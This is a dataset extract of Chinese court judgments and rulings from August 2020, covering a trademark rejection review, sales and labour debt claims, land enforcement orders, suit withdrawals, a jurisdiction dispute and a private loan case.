wormtooth/MNBVC-judgment huggingface dataset:
北京知识产权法院行 政 判 决 书（2020）京73行初5404号原告：北京红袖添香科技发展有限公司，住所地北京市朝阳区天辰东路**楼**101内******。法定代表人：田志国，执行董事兼经理。（未到庭）委托诉讼代理人：谢蓉，北京翰道律师事务所律师。（到庭）委托诉讼代理人：陈明哲，北京翰道律师事务所律师。（未到庭）被告：国家知识产权局，住所地北，住所地北京市海淀区蓟门桥西土城路**v>法定代表人：申长雨，局长。（未到庭）委托诉讼代理人：张超，国家知识产权局审查员。（未到庭）案由：商标申请驳回复审行政纠纷。被诉决定：商评字【2020】第52764号关于第32882312号“红袖读书”商标驳回复审决定。被诉决定作出时间：2020年3月25日。本院立案时间：2020年5月13日。开庭时间：2020年7月16日。被告以原告申请注册的第32882312号“红袖读书”商标（以下简称诉争商标）构成《中华人民共和国商标法》（简称《商标法》）第三十条所指情形为由，作出被诉决定：驳回诉争商标在复审服务上的注册申请。原告诉称：一、诉争商标与第3752200号“红袖HOPESHOW”商标（以下简称引证商标一）、第10851003号“红袖HOPESHOW”商标（以下简称引证商标三）在构成要素、整体外观、显著识别部分具有明显不同；二、引证商标一和引证商标三目前处于撤销复审程序中，权利状态不稳定，希望法院能暂缓审理本案，待二引证商标权利状态稳定再行审理。因此，请求法院撤销被诉决定并责令被告重新作出决定。被告虽未出庭但提交书面答辩状辩称：被诉决定认定事实清楚，适用法律正确，程序合法，请求判决驳回原告诉讼请求。本院经审理查明：一、诉争商标1.申请人：原告2.申请日期：2018年8月14日。3.标识：4.指定使用服务（第35类、类似群3501;3502;3503;3504;3505;3506;3507;3508;3509）：商业企业迁移;会计;自动售货机出租;寻找赞助;销售展示架出租;药用、兽医用、卫生用制剂和医疗用品的零售服务;广告;为零售目的在通讯媒体上展示商品;广告代理;广告策划;商业管理辅助;商业管理咨询;替他人推销;人事管理咨询;文秘;市场营销;书面的讯息和数据的登记;已登记信息的更新和维护;为商业或广告目的汇编信息索引;替他人进行商业合同谈判。二、引证商标（一）引证商标一1.申请人：刘文胜。2.申请日期：2003年10月14日。3.专用权期限至：2025年9月20日。4.标识：5.核定使用服务（第35类、类似群3501;3502;3503）：替他人作中介(替其他企业购买商品或服务);推销(替他人);为广告或销售组织时装展览;广告;商业研究。（二）引证商标三1.申请人：刘文胜。2.申请日期：2012年5月2日。3.专用权期限至：2024年1月20日。4.标识：5.核定使用服务（第35类、类似群3501;3502;3503）：广告;特许经营的商业管理;进出口代理;替他人推销;替他人采购(替其他企业购买商品或服务)。三、其他事实原告在庭审过程中明确表示对被诉决定做出的程序与被诉决定中关于服务类似方面的认定不持异议。原告向法院提交诉争商标相关被诉决定、诉争商标信息档案截图、引证商标信息、引证商标相关裁定等证据以支持其诉讼请求。上述事实，有经庭审质证的诉争商标和引证商标档案、行政阶段相关材料及当事人陈述等证据在案佐证。本院认为：截至本案审理时，引证商标一和引证商标三仍为在先有效注册商标。根据当事人的诉辩主张，本案的争议焦点为诉争商标是否违反《商标法》第三十条的规定。《商标法》第三十条规定：“申请注册的商标，凡不符合本法有关规定或者同他人在同一种商品或者类似商品上已经注册的或者初步审定的商标相同或者近似的，由商标局驳回申请，不予公告。”鉴于原告认可诉争商标指定使用的服务与本案二引证商标核定使用的服务构成同一种或类似服务，本院不再评述。关于商标近似方面，诉争商标与二引证商标均为文字商标。诉争商标由汉字组合“红袖读书”构成，引证商标一和引证商标二均是由汉字组合“红袖”和字母组合“hopeshow”构成，其中依据一般公众的认读习惯，汉字组合“红袖”为其显著识别部分。本案中，二引证商标的显著识别部分被诉争商标完整包括，两方商标在文字构成、整体外观、设计风格、含义等方面相近，相关公众施以一般注意力不易区分，诉争商标与二引证商标应认定为近似商标。诉争商标与引证商标若共同使用在同一种或类似服务上，易造成相关公众混淆，从而对服务来源产生误认，已构成使用在同一种或类似服务上的近似商标。关于原告请求法院暂缓审理本案的主张，本院认为，本案为商标授权案件，主要是对被诉决定合法性的审查，且目前二引证商标处于合法有效状态，故对原告据此提出的暂缓审理申请，本院不予支持。故被告认定诉争商标违反了《商标法》第三十条之规定并无不当，本院予以支持。被告经本院合法传唤，未到庭参加诉讼，视为其放弃当庭答辩和质证的权利，不影响本院根据认定的事实依法作出判决。综上，被诉决定证据确凿，审查程序合法。原告的诉讼理由缺乏事实和法律依据，其诉讼请求本院不予支持。据此，依照《中华人民共和国行政诉讼法》第六十九条的规定，判决如下：驳回原告北京红袖添香科技发展有限公司的诉讼请求。案件受理费一百元，由原告北京红袖添香科技发展有限公司负担（已交纳）。如不服本判决，双方当事人可于本判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人人数提交副本，同时预交上诉案件受理费一百元，上诉于北京市高级人民法院。审 判 长  罗旭华人民陪审员  王立群人民陪审员  贾亚慧二〇二〇年八月五日法官 助理  彭媛媛书 记 员  林子斌
江苏省南京市溧水区人民法院民 事 判 决 书（2020）苏0117民初535号原告：南京环宏资源再生科技有限公司，统一社会信用代码91320117671325121Q，住所地在南京市溧水区洪蓝工业集中区。法定代表人：陈珍美，该公司执行董事。委托诉讼代理人：徐子轩，江苏法德东恒（溧水）律师事务所律师。被告：南京富凡电源设备有限公司，统一社会信用代码913201173024828261，住所地在南京市溧水区和凤镇工业集中区。法定代表人：沈国兰。原告南京环宏资源再生科技有限公司（以下简称环宏公司）与被告南京富凡电源设备有限公司（以下简称富凡公司）买卖合同纠纷一案,本院于2020年2月13日立案后,依法适用简易程序，公开开庭进行了审理。原告环宏公司委托诉讼代理人徐子轩到庭参加诉讼。被告富凡公司经本院合法传唤，无正当理由，未到庭参加诉讼，本院依法缺席审理。本案现已审理终结。原告环宏公司向本院提出诉讼请求：判令被告支付货款8528215元及利息（利息以同期银行贷款利率自2015年8月31日起计算至欠款实际给付之日止）。事实和理由：原、被告之间属于买卖合同关系，由原告向被告供应电解铅等产品。双方自2014年开始合作，至2015年8月31日被告向原告出具《对账单》一份，说明至2015年8月31日被告欠原告货款为852821元。2016年至2017年因被告经营不善，原、被告之间只有数次供货，最后一次供货发生在2017年。2016年之后的每次供货被告都已将货款付清，但2015年8月31日《对账单》上所明确的欠款被告却至今未付。为维护合法权益，原告诉至法院，要求判如所请。被告富凡公司未作答辩。原告围绕诉讼请求依法提交了证据，根据原告提供的证据及当庭陈述，本院对本案事实认定如下：被告向原告购买电解铅等产品，双方未签订合同，原告也未开具发票。2015年8月31日，经双方对账，确认被告欠原告货款852821元，被告加盖公章予以认可。截至庭审结束，被告未支付该部分款项。本院认为，原、被告之间存在事实上的买卖关系，应依法予以保护。经双方对账，确认截至2015年8月31日，被告尚欠货款852821元。原告要求被告支付上述款项及逾期付款利息的诉请，本院予以支持。对于原告主张的逾期利息计算标准，本院依法予以调整。综上所述，依照《中华人民共和国合同法》第一百三十条、第一百五十九条、第一百六十一条，《中华人民共和国民事诉讼法》第一百四十四条之规定，判决如下：被告南京富凡电源设备有限公司应于本判决生效之日起十日内一次性向原告南京环宏资源再生科技有限公司支付货款852821元及利息（利息以852821元为基数，按照中国人民银行公布的同期贷款利率，自2015年8月31日起计算至2019年8月19日止；自2019年8月20日起按同期全国银行间同业拆借中心公布的贷款市场报价利率计算至实际给付之日止）。如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。案件受理费6164元，公告费用600元，由被告南京富凡电源设备有限公司负担。如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数提出副本，上诉于江苏省南京市中级人民法院。同时根据《诉讼费用交纳办法》的有关规定，向该院预交上诉案件受理费。审判员  尹庆华二〇二〇年八月三日书记员  解 宇
浙江省余姚市人民法院 结 案 通 知 书 （2020）浙0281执2251号 申请执行人：余姚市舜凯交通工程建设有限公司。住所地：余姚市兰江街道石婆桥**。统一社会信用代码：913302810582755252。 法定代表人：洪长苗，该公司执行董事。 被执行人：张建宁，男，1967年12月28日出生，汉族，住余姚市。 本院执行的申请执行人余姚市舜凯交通工程建设有限公司与被执行人张建宁请求确认人民调解协议效力纠纷执行一案，被执行人张建宁已自动履行了还款义务，案件执行完毕。特此通知。 二〇二〇年八月四日
安徽省亳州市中级人民法院 民 事 裁 定 书 （2020）皖16民终2490号 上诉人（原审原告）:肖诗雨，女，1991年3月26日出生，汉族，住安徽省蒙城县。 被上诉人（原审被告）:周灵芝，女，1979年11月16日生，汉族，住安徽省蒙城县。 原审被告：于莉，女，1967年9月14日生，汉族，住安徽省蒙城县。 上诉人肖诗雨因与被上诉人周灵芝、原审被告于莉案外人执行异议之诉一案，不服安徽省蒙城县人民法院（2019）皖1622民初6732号民事判决，向本院提起上诉。本院依法组成合议庭对本案进行了审理。 本院在审理过程中，上诉人肖诗雨向本院书面申请变更上诉请求，并于2020年8月26日向本院申请撤回上诉。 本院认为，上诉人肖诗雨在本案审理期间提出撤回上诉的请求，不违反法律规定，本院予以准许。依照《中华人民共和国民事诉讼法》第一百七十三条规定，裁定如下： 准许上诉人肖诗雨撤回上诉。一审判决自本裁定书送达之日起发生法律效力。 二审案件受理费50元，减半收取25元，由上诉人肖诗雨负担。 本裁定为终审裁定。 审判长  赵瑞强 审判员  孙 震 审判员  邢 利 二〇二〇年八月二十八日 法官助理李英进 书记员李杰
福建省诏安县人民法院 行 政 裁 定 书 (2020)闽0624行审42号 申请执行人诏安县自然资源局，住所地福建省诏安县南诏镇玉峰路**，统一社会信用代码11350624003903993H。 法定代表人谢添贵，局长。 委托代理人林志喜，男。 委托代理人陈炎枝，男。 被执行人钟雄辉，男，1981年7月20日出生，汉族，务农，住福建省诏安县。 申请执行人诏安县自然资源局于2020年8月5日向本院申请强制执行诏自然资（检查）罚[2019]57号《诏安县自然资源行政处罚决定书》,本院受理后，依法组成合议庭，本案现已审查终结。 申请执行人诏安县自然资源局申请强制执行内容：申请强制执行钟雄辉尚未履行的行政处罚：1、责令退还非法占用的深××××村集体土地174.7平方米；2、拆除在非法占用的174.7平方米土地上新建的建筑物及其他设施，恢复土地原状。 依据的事实和理由：钟雄辉未经有权机关批准在深××××村占地建设的行为，违反了《中华人民共和国土地管理法》第四十三条第一款、第四十四条第一款的规定，属非法占地行为。诏安县自然资源局依据《中华人民共和国土地管理法》第七十六条第一款和《中华人民共和国土地管理法实施条例》第四十二条的规定，对钟雄辉处罚：1、责令退还非法占用的深××××村集体土地174.7平方米；2、拆除在非法占用的174.7平方米土地上新建的建筑物及其他设施，恢复土地原状；3、处以每平方米30元的罚款，174.7平方米共计人民币5241元整。 诏安县自然资源局于2019年12月13日将诏自然资（检查）罚[2019]57号《诏安县自然资源行政处罚决定书》送达钟雄辉。钟雄辉未全部履行处罚决定，仅缴纳罚款5241元。诏安县自然资源局于2020年6月18日催告履行未果。 本院认为，诏安县自然资源局作出的诏自然资（检查）罚[2019]57号《诏安县自然资源行政处罚决定书》在行政主体、行政权限、行为根据和依据方面完全合法。钟雄辉在法律规定的期间内既不起诉又不全部履行，诏安县自然资源局经催告其履行义务无果，遂向我院申请强制执行，该申请符合法律规定，依法应予支持。根据《中华人民共和国行政强制法》第五十三条、第五十六条、第五十七条、第五十八条、《中华人民共和国行政诉讼法》第九十七条之规定，裁定如下： 对诏安县自然资源局作出的诏自然资（检查）罚［2019］57号《诏安县自然资源行政处罚决定书》对钟雄辉处罚：1、责令退还非法占用的深××××村集体土地174.7平方米；2、拆除在非法占用的174.7平方米土地上新建的建筑物及其他设施，恢复土地原状。准予强制执行，由福建省诏安县深桥镇人民政府组织实施。 本裁定送达后即发生法律效力。 审判长  林少强 审判员  吴辉强 审判员  张淑红 二〇二〇年八月十八日 书记员  林培德
北京市顺义区人民法院民 事 裁 定 书（2020）京0113民初12170号原告：北京天时丰益物流有限公司，住所地：北京市顺义区南彩镇顺平辅路北侧彩祥西路**(宏利钢管)，统一社会信用代码:91110113053638825T。法定代表人：叶岩，职务不详。委托诉讼代理人：邢园园，女，1981年7月17日出生，汉族，户籍地:山东省海阳市，北京天时丰益物流有限公司员工。被告：北京昊鸣文化传媒有限公司，住所地：北京市海淀区中关村大街****01-653，统一社会信用代码:91110108335430643F。法定代表人：马淑昌，职务不详。原告北京天时丰益物流有限公司与被告北京昊鸣文化传媒有限公司仓储合同纠纷一案，本院受理后，依法进行了审理。原告北京天时丰益物流有限公司向本院提出诉讼请求：1、要求被告付清合同编号TSFY-20180417号的仓储费用,金额:7831.25元,违约金:5364.41元；2、支付货品在仓库产生的费用,明细如下:2019.4.17-2020.4.16,单价:2.7元,总金额:60115.5元,违约金:124002.82元；2020.4.17-2020.7.31,单价:2.92元,总金额:18880.72元,违约金:46018.56元,3、本案诉讼费由被告承担。事实与理由：原告北京天时丰益物流有限公司与被告北京昊鸣文化传媒有限公司2018年4月在北京签署仓储与物流服务合同,合同编号:TSFY-20180417号,授权代表人:方洁,合同租用期为壹年,自2018年4月17日起至2019年4月16日止,现合同已失效,但货品一直贮存在原告仓库内到至今,原告通过多次电话和微信催款及续期合同的签订,被告每次都借故各种理由拖欠拒付款和签合同,实属无奈,给原告造成极大困扰,原告又难以通过其他途径解决纠纷,为维护权益，诉至贵院，请求人民法院判如所请。本院认为：人民法院作为经济纠纷受理的案件，经审理认为不属经济纠纷案件而有经济犯罪嫌疑的，应当裁定驳回起诉，将有关材料移送公安机关或检察机关。依照《中华人民共和国民事诉讼法》第一百一十九条、《最高人民法院关于在审理经济纠纷案件中涉及经济犯罪嫌疑若干问题的规定》第十一条之规定，裁定如下：一、驳回原告北京天时丰益物流有限公司的起诉；二、本案移送至北京市公安局朝阳分局处理。如不服本裁定，可在裁定书送达之日起十日内，向本院递交上诉状，并按对方当事人的人数提出副本，上诉于北京市第三中级人民法院。审 判 员  杨 娇二〇二〇年八月二十四日法官助理  倪永坤书 记 员  王皎焯
甘肃省民乐县人民法院民事判决书（2020）甘0722民初376号原告毛某，甘肃省民乐县人，现住民乐县。原告朱某，甘肃省民乐县人，现住民乐县。原告李某，甘肃省民乐县人，现住民乐县。原告郭某，甘肃省民乐县人，现住民乐县。以上四原告共同的委托代理人马某，甘肃德言盛律师事务所律师。被告王某，文化程度不详，甘肃省民乐县人，住民乐县。（缺席）原告毛某、朱某、李某、郭某诉被告王某劳务合同纠纷一案，本院受理后依法组成合议庭，适用普通程序公开开庭进行了审理。原告朱某及四原告共同的委托代理人马某到庭参加了诉讼，被告王某经本院公告送达开庭传票未到庭参加诉讼。本案依法缺席审理，现已审理终结。原告诉称：2017年，被告承包了新疆维吾尔自治区××县的改造工程，四原告到该处为其提供劳务。劳务结束后，被告给四原告支付了少量的劳务工资，下欠36213元未付，被告于2019年11月19日向四原告出具了欠条一张，约定限于2019年12月30日前支付50%，于2020年付清其余50%的工资。欠条出具至今，被告并未按期支付四原告劳务工资。现四原告起诉：1、要求被告支付上述四原告劳务工资18106.5元；2、被告负担本案诉讼费用。被告经公告送达开庭传票未到庭参加诉讼，亦未提交答辩状。经审理查明：2017年，被告承包了新疆维吾尔自治区××县的改造工程，四原告到该处为其提供劳务。劳务结束后，被告给四原告支付了少量的劳务工资，下剩36213元未付，后经四原告催要，被告于2019年11月19日向四原告出具了欠条一张，并书面备注：限于2019年12月30日前支付50%，剩余部分2020年付清。欠条出具至今，被告并未按时支付四原告到期的劳务工资18106.5元，原告多次催要，被告推诿拒付。现四原告起诉：1、要求被告支付上述四原告劳务工资18106.5元；2、被告负担本案诉讼费用。上述事实由原告朱某及四原告共同的委托代理人的庭审陈述，被告给四原告书写的欠条原件一张，法庭依职权调取的调查笔录一份等证据予以证实。本院认为：劳务关系是劳动者与用工者根据口头或书面约定，由劳动者向用工者提供一次性的或者是特定的劳动服务，用工者依约向劳动者支付劳务报酬的一种有偿服务的法律关系。本案中，被告雇佣四原告为其务工，并支付四原告工资，双方已形成劳务关系，原、被告应严格按照约定全面履行义务。被告向四原告出具36213元的欠条一张证实了四原告及被告之间的劳务关系，事实清楚，证据确实，故对四原告要求被告支付四原告2019年12月30日前到期应支付的劳务工资款18106.5元的诉讼请求，本院予以支持。被告经本院公告送达开庭传票未到庭，是对自己诉讼权利的放弃。据此，依据《中华人民共和国合同法》第六条、第六十条、第一百零九条，《中华人民共和国民事诉讼法》第一百四十四条之规定，判决如下：被告王某支付原告毛某、朱某、李某、郭某劳务工资18106.5元，限于判决生效后30日内付清。案件受理费253元，由被告王某负担。如不服本判决，可在判决书送达之日起十五日内向本院递交上诉状，并按对方当事人的人数提交副本，上诉于甘肃省张掖市中级人民法院。审判长 庞云峰审判员 尚新宏人民陪审员 张之珍二〇二〇年八月二十四日书记员 韩国纬附：判决书所适用法律条文《中华人民共和国合同法》第六条当事人行使权利、履行义务应当遵循诚实信用原则。第六十条当事人应当按照约定全面履行自己的义务。当事人应当遵循诚实信用原则，根据合同的性质、目的和交易习惯履行通知、协助、保密等义务。第一百零九条当事人一方未支付价款或者报酬的，对方可以要求其支付价款或者报酬。《中华人民共和国民事诉讼法》第一百四十四条被告经传票传唤，无正当理由拒不到庭的，或者未经法庭许可中途退庭的，可以缺席判决。告知：申请执行的期间为二年。申请执行时效的中止、中断，适用法律有关诉讼时效中止、中断的规定。前款规定的期间，从法律文书规定履行期间的最后一日起计算；法律文书规定分期履行的，从规定的每次履行期间的最后一日起计算；法律文书未规定履行期间的，从法律文书生效之日起计算。
安徽省宿松县人民法院行 政 裁 定 书（2020）皖0826行审8号申请执行人宿松县自然资源和规划局，住所地安徽省宿松县孚玉镇人民中路**，统一社会信用代码11340826MB1565687A。法定代表人石雅煌，局长。委托代理人贺良，宿松县自然资源和规划局执法监察大队工作人员。委托代理人曹耀锋，宿松县自然资源和规划局政策法规股工作人员。被执行人吴学军，男，1970年1月30日出生，汉族，住安徽省宿松县。2020年8月7日本院收到宿松县自然资源和规划局的强制执行申请书，要求执行其作出的松自然资源规监决[2019]第075号行政处罚决定部分事项:退还非法占用的147.25平方米的土地给五里乡五里村路西村民小组。本院受理后，依法组成合议庭进行审查。在审查过程中申请人撤回执行申请。本院认为，申请执行人撤回执行申请符合法律规定，依法应予准许。依照《最高人民法院关于执行若干问题的解释》第六十三条第（十五）项的规定，裁定如下：准予宿松县自然资源和规划局撤回执行申请。本裁定送达后立即发生法律效力。审 判 长  杨宏遐审 判 员  黄绵绵人民陪审员  陈耀平二〇二〇年八月二十四日法官助理程媛书记员高罗夫附：相关主要法律条文《最高人民法院关于执行若干问题的解释》第六十三条裁定适用于下列范围：（十五）其他需要裁定的事项。
上海市浦东新区人民法院民 事 裁 定 书（2020）沪0115民初3324号之二原告：山东中再生环境科技有限公司，住所地山东省临沂市。法定代表人：李家荣，总经理。委托诉讼代理人：任增建，泰和泰(济南)律师事务所律师。委托诉讼代理人：郝秋霜，泰和泰(济南)律师事务所律师。被告：上海立昌环境科技股份有限公司，住所地上海市浦东新区。法定代表人：常立，总经理。委托诉讼代理人：商保平，上海诺浩律师事务所律师。委托诉讼代理人：于舒琪，上海诺浩律师事务所实习律师。原告山东中再生环境科技有限公司与被告上海立昌环境科技股份有限公司服务合同纠纷一案，本院于2020年1月17日立案。原告于2020年7月14日向本院提出撤诉申请。本院认为，原告向本院申请撤诉不违反法律规定，本院予以准许。依照《中华人民共和国民事诉讼法》第一百四十五条第一款的规定，裁定如下：准许原告山东中再生环境科技有限公司撤诉。案件受理费人民币9,258元，减半收取计4,629元，财产保全费3,249元，共计7,878元，由原告山东中再生环境科技有限公司负担。审判员 季 敏二〇二〇年八月五日书记员 吴晓非附：相关法律条文《中华人民共和国民事诉讼法》第一百四十五条宣判前，原告申请撤诉的，是否准许，由人民法院裁定。……
广东省惠州市惠城区人民法院民 事 裁 定 书（2020）粤1302民初14625号原告：深圳市中洲物业管理有限公司惠州分公司。住所：广东省惠州市惠城区**********洲天御花园肉菜市场5层01号07房。负责人：刘展朋。委托代理人：张水英，广东宝晟律师事务所律师。被告一：刘其赢，男，汉族，1988年6月9日出生，公民身份号码：430************993,住址：湖南省武冈市************。被告二：毛琴，女，汉族，1991年11月2日出生，公民身份号码：430************928，住址：湖南省桃源县***************。本院在审理原告深圳市中洲物业管理有限公司惠州分公司与被告刘其赢、毛琴物业服务合同纠纷一案中，原告深圳市中洲物业管理有限公司惠州分公司于2020年8月18日向本院提出撤诉申请。本院认为，原告的撤诉申请符合法律规定，依法应予准许。依照《中华人民共和国民事诉讼法》第一百四十五条的规定，裁定如下：准许原告深圳市中洲物业管理有限公司惠州分公司撤回起诉。案件减半收取受理费169.34元（原告已预交），由原告深圳市中洲物业管理有限公司惠州分公司负担。审 判 员 杨燕红二〇二〇年八月二十五日法官助理 张岳灵书 记 员 李诗琪
山西省灵丘县人民法院执 行 裁 定 书（2020）晋0224执155号申请执行人：胡鹏飞，男，汉族，1988年2月25日出生，内蒙古丰镇市人，现住内蒙古丰镇市旧城区青龙巷**。被执行人：徐伟，男，汉族，1987年5月5日出生，，现住灵丘县客都生鲜超市本院在执行胡鹏飞申请徐伟金钱给付纠纷一案中。我院通过网络查控系统查无任何可供执行财产；我院通过灵丘县房产交易所、灵丘县工商局协助调查亦未发现被执行人有任何可供执行财产线索。至此，我院查无任何可供执行财产线索，而申请人又不能提供任何可供执行财产线索。依照《最高人民法院关于适用的解释》第五百一十九条规定，裁定如下：终结本次执行程序。申请执行人发现被执行人徐伟有可供执行财产的，可以再次申请执行。本裁定送达后立即生效。审判长  曾爱民审判员  何云霞审判员  刘先进二〇二〇年八月三十一日书记员  邱 珊
上海市高级人民法院民 事 裁 定 书（2020）沪民辖224号原告:袁洁，女，1964年10月25日出生，汉族，住上海市浦东新区。被告:甘国光，男，1977年12月10日出生，汉族，户籍地广东省佛山市。被告：戴璐颖，女，1984年6月6日出生，汉族，户籍地上海市虹口区。被告：王莹，女，1982年8月9日出生，汉族，户籍地黑龙江省哈尔滨市。原告袁洁与被告甘国光、戴璐颖、王莹股权转让纠纷一案,上海市静安区人民法院于2019年4月3日立案。原告袁洁诉称，原告、三被告于2017年5月20日签订《关于天津尚星供应链管理服务有限公司股权转让及合作协议》,约定被告甘国光将其持有的天津尚星供应链管理服务有限公司（以下简称目标公司）40%的股权转让给原告,原告根据约定向目标公司出资。协议第七条约定:1.若甲方(即被告甘国光、被告王莹、被告戴璐颖)出现如下情况,乙方(原告袁洁)有权要求甲方回购标的股权:(3)根据本协议第四条的约定,甲方经营的目标公司有任何一个月未达到附件一财务计划中所约定的预计收入,则乙方有权选择停止实缴出资,并要求甲方回购标的股权;2.双方确认,标的股权的回购价格为乙方向目标公司实缴的出资总额。该协议签订后,原告向目标公司一共投资了2,614,108元，然而三被告经营的目标公司自2017年6月起从未达到“财务计划”中所列明的预计收入,严重违反了双方的约定。原告为维护自身合法权益,故诉至法院,请求判令:1、三被告向原告支付股权回购款2,614,108元;2、本案的诉讼费用由被告承担。被告王莹在提交答辩状期间对管辖权提出异议认为:原、被告签订的《关于天津尚星供应链管理服务有限公司股权转让及合作协议》虽有管辖协议“由本协议签订地法院管辖”，但该协议签约地点“上海市静安区威海路XXX弄XXX号楼XXX”系手写，是原告事后添加，未经三被告认可，且该签订地点与实际不符。上海市静安区法院对本案没有管辖权，请求将本案移送有管辖权的法院审理。上海市静安区人民法院认为，现有证据无法证明原告已经将其在后签字并手写了签约地点的合同交给被告,原告手写的合同签订地点并未经三被告确认,合同载明的签订地并非各方真实合意,对被告不发生效力；同时现有证据也无法证明原告实际签订合同的地点为上海市静安区威海路XXX弄XXX号楼XXX,亦无法认定该地点为合同实际签订地。本案的合同履行地应为接受货币一方，即原告所在地，故裁定将本案移送原告所在地法院上海市浦东新区人民法院审理。2020年8月12日，上海市第一中级人民法院以上海市静安区人民法院对本案具有管辖权为由，报请指定管辖。本院认为，本案系股权转让纠纷。《中华人民共和国民事诉讼法》第三十四条规定：“合同或者其他财产权益纠纷的当事人可以书面协议选择被告住所地、合同履行地、合同签订地、原告住所地、标的物所在地等与争议有实际联系的地点的人民法院管辖，但不得违反本法对级别管辖和专属管辖的规定。”涉案《关于天津尚星供应链管理服务有限公司股权转让及合作协议》明确约定管辖法院为协议签订地法院，虽然协议签约地点“上海市静安区威海路XXX弄XXX号楼XXX”为手写，但签订协议地点属协议的一部分，在案证据不足以证明该地点属无效内容。《最高人民法院关于适用若干问题的解释(二)》第四条规定，采用书面形式订立合同，合同约定的签订地与实际签字或者盖章地点不符的，人民法院应当认定约定的签订地为合同签订地。因此，根据当事人的管辖约定，上海市静安区人民法院对本案有管辖权，将本案移送上海市浦东新区人民法院管辖不当，依法应予纠正。依照《中华人民共和国民事诉讼法》第三十六条规定，裁定如下：本案由上海市静安区人民法院审理。本裁定一经作出即生效。审判长  陈佳玉审判员  袁 玮审判员  刘 敏二〇二〇年八月三十一日书记员  潘 哲附：相关法律条文《中华人民共和国民事诉讼法》第三十六条人民法院发现受理的案件不属于本院管辖的，应当移送有管辖权的人民法院，受移送的人民法院应当受理。受移送的人民法院认为受移送的案件依照规定不属于本院管辖的，应当报请上级人民法院指定管辖，不得再自行移送。
济南市历下区人民法院民 事 裁 定 书（2020）鲁0102民初7809号原告：牟茜，女，1983年1月26日出生，汉族，住济南市。委托诉讼代理人：刘清儒、高明阳，北京金诚同达（济南）律师事务所律师。被告：山东才高鑫源置业有限公司，住所地济南市，统一社会信用代码913700006954218638。法定代表人：张海，总经理。委托诉讼代理人：黄梁林、陶小利，北京德恒（济南）律师事务所律师。原告牟茜与被告山东才高鑫源置业有限公司商品房销售合同纠纷一案，本院于2020年7月15日立案。原告牟茜在本院依法送达交纳诉讼费用通知后，未在七日内预交案件受理费。依照《中华人民共和国民事诉讼法》第一百一十八条、第一百五十四条第一款第十一项、《最高人民法院关于适用〈中华人民共和国民事诉讼法〉的解释》第二百一十三条规定，裁定如下：本案按牟茜撤回起诉处理。审判员  张兴欣二〇二〇年八月十七日书记员  程若梅
山西省临汾市尧都区人民法院民事判决书（2020）晋1002民初4033号原告：乔丹，女，汉族，1988年10月29日出生，现住临汾市。（法律文书送达地址）被告：贾守富，男，汉族，1987年8月23日出生，现住大同市。（法律文书送达地址）委托诉讼代理人：王存锁，大同市云冈区煤峪口街法律服务所法律工作者。原告乔丹与被告贾守富民间借贷纠纷一案，本院于2020年7月2日受理后，依法适用简易程序，公开开庭进行了审理。原告乔丹，被告委托诉讼代理人王存锁到庭参加诉讼。本案现已审理终结。原告向本院提出诉讼请求：1、请求依法判令被告立即偿还原告借款本金127000元整及自2018年5月5日起至还清全部借款之日止的利息，按月息2分计算；2、本案诉讼费用由被告承担。事实与理由:2018年5月5日被告以急需用钱为由向原告借款127000元整，口头约定利息为月息2分并当场给原告打下欠条一张。原告多次联系被告偿还借款，但被告以各种理由推脱，并威胁恐吓原告，拒不偿还原告借款。其行为严重损害了原告的合法权益，遂诉至贵院，请求判如所请。被告贾守富辩称，1、答辩人目前不欠被答辩人的任何款项，被答辩人诉状所述不是事实，双方没有口头约定过利息。被答辩人所述127000元是双方同居期间双方共同为生活支出、准备结婚租房等的花费。刷被答辩人信用卡的钱，2018年5月5日答辩人在被答辩人的纠缠下，被逼写下欠8万到9万的欠条，2018年5月5日被答辩人没有通过现金或转账借给答辩人钱。2、被答辩人存在虚假诉讼，恶意诉讼的情形。双方分手后，被答辩人多次向答辩人索要钱款，答辩人于2020年3月1日将自己贷款购买的×××奥迪轿车抵给被答辩人，双方已就借信用卡的钱进行了说明，并写了结清证明，被答辩人也在结清证明上签字、按印。后被答辩人又起诉答辩人企图获取非法利益。故请求驳回被答辩人的全部诉讼请求。当事人围绕诉讼请求依法提交了证据。对本案事实，本院查明如下：原告乔丹与被告贾守富曾是朋友关系。2018年5月5日被告贾守富借到原告乔丹两张信用卡，额度为8万-9万元，并向原告出具欠条一份，内容为：“本人贾守富与2018年5月5日借乔丹信用卡两张，额度8万到9万元，全部以贾守富还清。”2018年5月-2019年10月双方共同生活期间，发生多笔微信转账。2020年3月1日贾守富向原告出具《结清证明》一份，称：“曾借乔丹信用卡8万元，贾守富以其购买的×××奥迪车（首付55000元，月供还了一年40000元）给乔丹还信用卡，从此两清，剩余月供由乔丹清偿。”经本庭向出售车辆的欧风友核实，车辆总价为135000元出售，贾守富支付首付款55000元，剩余款项系在金融公司贷款分期偿还。庭审中，原告还称通过广发银行信用卡透支58000元借给被告贾守富。被告对此不予认可。本院认为，合法的借贷关系受法律保护。原告乔丹与被告贾守富在2018年5月-2019年10月共同生活期间，被告贾守富借用原告乔丹信用卡刷卡87000元，通过双方的聊天记录及欠条可以认定该事实。随后，贾守富以其购买的车辆抵顶了部分欠款，对于抵顶欠款的数额一节，贾守富首付55000元，有车辆出售人的证明，本院予以认可。对于分期还款数额，被告称归还了40000元，但其在法庭指定期限内未提供证据予以证明，原告认可其归还了8个月，每月3300元，共计26400元，对于原告的自认本院予以认可。对于原告主张的58000元借款一节，其提供的证据无法证明双方对该款项达成借贷的合意，且其提供的证据也不足以证明被告实际取得了该款项，故对原告的该主张本院不予支持。对于原告主张利息一节，由于双方未约定利息，故对原告的该主张本院不予支持。综上，《中华人民共和国合同法》第一百九十六条，《中华人民共和国民事诉讼法》第六十四条之规定，判决如下：贾守富于本判决生效之日起十五日内偿还乔丹5600元。如果未按本判决指定的期间履行给付金钱的义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。案件受理费2840元减半收取1420元，由被告贾守富负担。如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数提出副本，上诉于临汾市中级人民法院。审判员 张 浩 二O二O年八月二日书记员 陈宇乐
